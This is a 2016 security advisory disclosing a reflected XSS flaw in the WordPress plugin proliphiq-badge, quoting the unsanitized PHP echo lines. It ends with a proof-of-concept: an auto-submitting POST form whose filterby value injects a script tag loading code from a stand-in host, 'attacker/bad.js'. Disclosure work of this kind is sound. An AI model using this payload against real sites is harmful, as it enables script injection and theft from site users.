Advisory #: 1004
Title: Reflected XSS in wordpress plugin proliphiq-badge v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/proliphiq-badge
Downloads: 516
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: proliphiq-badge
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./proliphiq-badge/proliphiqBadge.php: 131: abh='<?php if($_POST['filterby']) { echo $_POST['filterby'];} else { echo $fetch_pro_info['badge_size']; }?>'; 157: abh='<?php if($_POST['filterby']) { echo $_POST['filterby'];} else { echo $fetch_pro_info['badge_size']; }?>'; 172: <input type="text" name="proliphiq" id="proliphiq" value="<?php if($_POST['proliphiq']){ echo $_POST['proliphiq']; } else { echo $fetch_pro_info['Proliphique_id']; }?>" class="regular-text" /><span class="get_screen" onmouseover="display_text();" onMouseout="hide_text();"><a href="" onClick="MyWindow=window.open('http://www.proliphiq.com','Proliphiq','toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes'); return false;">?</a></span><span id="hide_text" class="description" style="display:none;">You can find your Screen Name by going into your Profile Setting at www.Proliphiq.com</span> <br /> 200: selected_tag="<?php if($_POST['cb']) { echo $_POST['cb']; }else{ echo $fetch_pro_info['tag_id']; }?>"; The variable filterby appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./proliphiq-badge/proliphiqBadge.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/proliphiq-badge/proliphiqBadge.php method=post> <input type=hidden name=filterby value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>